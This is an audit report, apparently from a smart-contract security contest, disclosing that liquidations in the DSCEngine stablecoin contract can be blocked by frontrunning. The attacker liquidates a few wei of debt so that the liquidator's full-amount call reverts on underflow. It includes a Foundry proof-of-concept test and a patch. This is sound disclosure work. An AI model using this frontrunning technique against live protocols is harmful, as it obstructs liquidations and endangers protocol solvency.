medium

DoS of full liquidations are possible by frontrunning the liquidators

Reward

Total

983.50 USDC

Selected
983.50 USDC
Selected Submission

DoS of full liquidations are possible by frontrunning the liquidators

Severity

Medium Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L229-L262

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L272-L280

Summary

Liquidators must specify precise amounts of DSC tokens to be burned during the liquidation process. Unfortunately, this opens up the possibility for malicious actors to prevent the full liquidation by frontrunning the liquidator's transaction and liquidating minimal amounts of DSC.

Vulnerability Details

Liquidations play a crucial role by maintaining collateralization above the desired ratio. If the value of the collateral drops, or if the user mints too much DSC tokens and breaches the minimum required ratio, the position becomes undercollateralized, posing a risk to the protocol. Liquidations help in enforcing these collateralization ratios, enabling DSC to maintain its value.

After detecting an unhealthy position, any liquidator can call the liquidate() function to burn the excess DSC tokens and receive part of the user's collateral as reward. To execute this function, the liquidator must specify the precise amount of DSC tokens to be burned. Due to this requirement, it becomes possible to block full liquidations (i.e liquidations corresponding to the user's entire minted amounts of DSC). This can be achieved by any address other than the one undergoing liquidation. This includes either a secondary address of the user being liquidated (attempting to protect their collateral), or any other malicious actor aiming to obstruct the protocol's re-collaterization. The necessity of using any address other than the one undergoing liquidation is due to the _revertIfHealthFactorIsBroken(msg.sender) at the end of the liquidate() function, therefore any other healthy address can be used to perform this attack.

This blocking mechanism operates by frontrunning the liquidator and triggering the liquidation of small amounts of DSC balance. Consequently, during the liquidator's transaction execution, it attempts to burn more tokens than the user has actually minted. This causes a revert due to an underflow issue, as illustrated in the code snippet below.

function _burnDsc(uint256 amountDscToBurn, address onBehalfOf, address dscFrom) private {
    s_DSCMinted[onBehalfOf] -= amountDscToBurn; //Undeflow will happen here
    bool success = i_dsc.transferFrom(dscFrom, address(this), amountDscToBurn);
    if (!success) {
        revert DSCEngine__TransferFailed();
    }
    i_dsc.burn(amountDscToBurn);
}

The exact values of DSC that the attacker has to burn to block the liquidation are dependent on the value of the user collateral and his total amount of DSC minted, but in general this values are going to be small, on the orders of thousands of wei of DSC. For example for a collateral total value of 10000USD, and 5500 worth of DSC minted, a frontrun liquidation of just 2000 wei of DSC would be enough to prevent the full liquidation.

Consider the example scenario below. Alice has minted 5500 worth of DSC, however her ETH deposited as collateral is worth 10000, therefore below the minimum 200% collateralization.

  1. Bob (the liquidator) sees Alice's position and decide to liquidate her full DSC position to restore the protocol health (by calling liquidate(address(WETH), address(alice), 5500000000000000000000)
  2. Alice see Bob's transaction on the mempool and tries to frontrunning it by calling liquidate(address(WETH), address(alice), 2000) using her secondary address. Consider that Alice is sucessfull in frontrunning Bob, therefore after Alice's tx, s_DSCMinted[address(Alice)] will be 5499999999999999998000.
  3. Now during Bob's transaction execution, liquidate will try to burn 5500000000000000000000 DSC tokens from Alice, but her s_DSCMinted[address(Alice)] is 5499999999999999998000, causing the call to revert due to arithmetic underflow.

See POC below for example:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import {DeployDSC} from "../../script/DeployDSC.s.sol";
import {DSCEngine} from "../../src/DSCEngine.sol";
import {DecentralizedStableCoin} from "../../src/DecentralizedStableCoin.sol";
import {HelperConfig} from "../../script/HelperConfig.s.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {MockV3Aggregator} from "../mocks/MockV3Aggregator.sol";
import {Test} from "forge-std/Test.sol";
import {stdError} from "forge-std/StdError.sol";

contract LiquidationPOC is Test {
    DSCEngine public dsce;
    DecentralizedStableCoin public dsc;
    HelperConfig public helperConfig;

    address public ethUsdPriceFeed;
    address public btcUsdPriceFeed;
    address public weth;
    address public wbtc;
    uint256 public deployerKey;

    uint256 public constant MIN_HEALTH_FACTOR = 1e18;
    address public alice = makeAddr("alice");
    address public bob = makeAddr("bob");
    address public attacker = makeAddr("attacker");

    function setUp() external {
        DeployDSC deployer = new DeployDSC();
        (dsc, dsce, helperConfig) = deployer.run();
        (ethUsdPriceFeed, btcUsdPriceFeed, weth, wbtc, deployerKey) = helperConfig.activeNetworkConfig();

        //Setting collateral USD prices
        MockV3Aggregator(ethUsdPriceFeed).updateAnswer(1100e8);

        //Mints and approvals for the Alice
        ERC20Mock(weth).mint(alice, 10 ether);
        vm.startPrank(alice);
        ERC20Mock(weth).approve(address(dsce), 10 ether);
        dsce.depositCollateralAndMintDsc(weth, 10 ether, 5500 ether);
        vm.stopPrank();

        //Mints and approvals for the Bob (liquidator)
        ERC20Mock(weth).mint(bob, 30 ether);
        vm.startPrank(bob);
        ERC20Mock(weth).approve(address(dsce), 30 ether);
        dsce.depositCollateralAndMintDsc(weth, 30 ether, 10000 ether);
        dsc.approve(address(dsce), 10000 ether);
        vm.stopPrank();

        //Mints and approvals for the attacker
        ERC20Mock(weth).mint(attacker, 10 ether);
        vm.startPrank(attacker);
        ERC20Mock(weth).approve(address(dsce), 10 ether);
        dsce.depositCollateralAndMintDsc(weth, 10 ether, 10 ether);
        dsc.approve(address(dsce), 10 ether);
        vm.stopPrank();

        //Reducing collateral USD price to put Alice in unhealthy state.
        MockV3Aggregator(ethUsdPriceFeed).updateAnswer(1000e8);
    }

    function testLiquidationDoS() public {
        (uint256 dscMinted, uint256 collateralUSD) = dsce.getAccountInformation(alice);
        assertEq(dscMinted, 5500*1e18);  //DSC worth $5500
        assertEq(collateralUSD, 10000*1e18); //Collateral worth $10000

        //1. Assert Alice position is unhealthy
        uint256 userHealthFactor = dsce.getHealthFactor(alice);
        assertEq(userHealthFactor < MIN_HEALTH_FACTOR, true); 

        //2. Attacker frontruns Bob's transaction and liquidates 2000wei of DSC
        vm.prank(attacker);
        dsce.liquidate(weth, alice, 2000); 

        //3. Bob's transaction reverts
        vm.expectRevert(stdError.arithmeticError); //Arithmetic over/underflow
        vm.prank(bob);
        dsce.liquidate(weth, alice, 5500*1e18);
    }
}

Impact

Full liquidations can be blocked. Therefore liquidators will have to resort to partial liquidations that are less efficient and can leave dust debt in the contract, threatening the heatlh of the protocol.

Tools Used

Manual Review

Recommendations

Consider allowing the liquidator to pass type(uint256).max as the debtToCover parameter, which will result to liquidating all DSC minted by the target account, regardless of the current balance. See the code below for an example implementation.

diff --git a/DSCEngine.orig.sol b/DSCEngine.sol
index e7d5c0d..6feef25 100644
--- a/DSCEngine.orig.sol
+++ b/DSCEngine.sol
@@ -227,36 +227,40 @@ contract DSCEngine is ReentrancyGuard {
      * Follows CEI: Checks, Effects, Interactions
      */
     function liquidate(address collateral, address user, uint256 debtToCover)
         external
         moreThanZero(debtToCover)
         nonReentrant
     {
         // need to check health factor of the user
         uint256 startingUserHealthFactor = _healthFactor(user);
         if (startingUserHealthFactor >= MIN_HEALTH_FACTOR) {
             revert DSCEngine__HealthFactorOk();
         }
         // We want to burn their DSC "debt"
         // And take their collateral
         // Bad User: $140 ETH, $100 DSC
         // debtToCover = $100
         // $100 of DSC == ??? ETH?
         // 0.05 ETH
+        if (debtToCover == type(uint256).max) {
+            (uint256 dscMinted,) = _getAccountInformation(user);
+            debtToCover = dscMinted;
+        }
         uint256 tokenAmountFromDebtCovered = getTokenAmountFromUsd(collateral, debtToCover);
         // And give them a 10% bonus
         // So we are giving the liquidator $110 of WETH for 100 DSC
         // We should implement a feature to liquidate in the event the protocol is insolvent
         // And sweep extra amounts into a treasury
         // 0.05 * 0.1 = 0.005. Getting 0.055
         uint256 bonusCollateral = (tokenAmountFromDebtCovered * LIQUIDATION_BONUS) / LIQUIDATION_PRECISION;
         uint256 totalCollateralToRedeem = tokenAmountFromDebtCovered + bonusCollateral;
         _redeemCollateral(user, msg.sender, collateral, totalCollateralToRedeem);
         // We need to burn the DSC
         _burnDsc(debtToCover, user, msg.sender);

         uint256 endingUserHealthFactor = _healthFactor(user);
         if (endingUserHealthFactor <= startingUserHealthFactor) {
             revert DSCEngine__HealthFactorNotImproved();
         }
         _revertIfHealthFactorIsBroken(msg.sender);
     }